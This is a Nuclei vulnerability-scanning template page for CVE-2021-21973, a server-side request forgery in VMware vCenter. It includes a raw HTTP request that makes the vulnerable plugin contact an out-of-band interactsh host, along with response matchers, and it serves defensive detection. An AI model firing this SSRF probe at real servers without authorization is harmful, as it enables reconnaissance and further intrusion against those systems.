Skip to content
Nuclei Templates

VMware vSphere - Server-Side Request Forgery

ID: CVE-2021-21973

Severity: medium

Author: pdteam

Tags: cve2021,cve,vmware,ssrf,vcenter,oast,kev

Description

Section titled “Description”

VMware vSphere (HTML5) is susceptible to server-side request forgery due to improper validation of URLs in a vCenter Server plugin. An attacker with network access to port 443 can exploit this issue by sending a POST request to the plugin. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l, and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).

YAML Source

Section titled “YAML Source”
id: CVE-2021-21973


info:
  name: VMware vSphere - Server-Side Request Forgery
  author: pdteam
  severity: medium
  description: VMware vSphere (HTML5) is susceptible to server-side request forgery due to improper validation of URLs in a vCenter Server plugin. An attacker with network access to port 443 can exploit this issue by sending a POST request to the plugin. This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l, and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to send arbitrary requests from the vulnerable server, potentially leading to unauthorized access, data leakage, or further attacks.
  remediation: |
    Apply the necessary security patches or updates provided by VMware to mitigate this vulnerability.
  reference:
    - https://twitter.com/osama_hroot/status/1365586206982082560
    - https://twitter.com/bytehx343/status/1486582542807420928
    - https://www.vmware.com/security/advisories/VMSA-2021-0002.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21973
    - https://github.com/soosmile/POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-21973
    cwe-id: CWE-918
    epss-score: 0.15857
    epss-percentile: 0.95819
    cpe: cpe:2.3:a:vmware:cloud_foundation:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: vmware
    product: cloud_foundation
  tags: cve2021,cve,vmware,ssrf,vcenter,oast,kev


http:
  - raw:
      - |
        GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1
        Host: {{Hostname}}
        Vcip: {{interactsh-url}}
        Vcpassword: {{rand_base(6)}}
        Vcusername: {{rand_base(6)}}
        Reqresource: {{rand_base(6)}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "The server sent HTTP status code 200"


      - type: status
        status:
          - 500
# digest: 490a00463044022045285b8023bdb7bcca15ebf7d0887a2e6b673f0d234ec57036cf608fae4c44970220675eef78284e55e5a05d60558841c1050baa0e580a96d2daa9bdb581b7726988:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-21973.yaml"

View on Github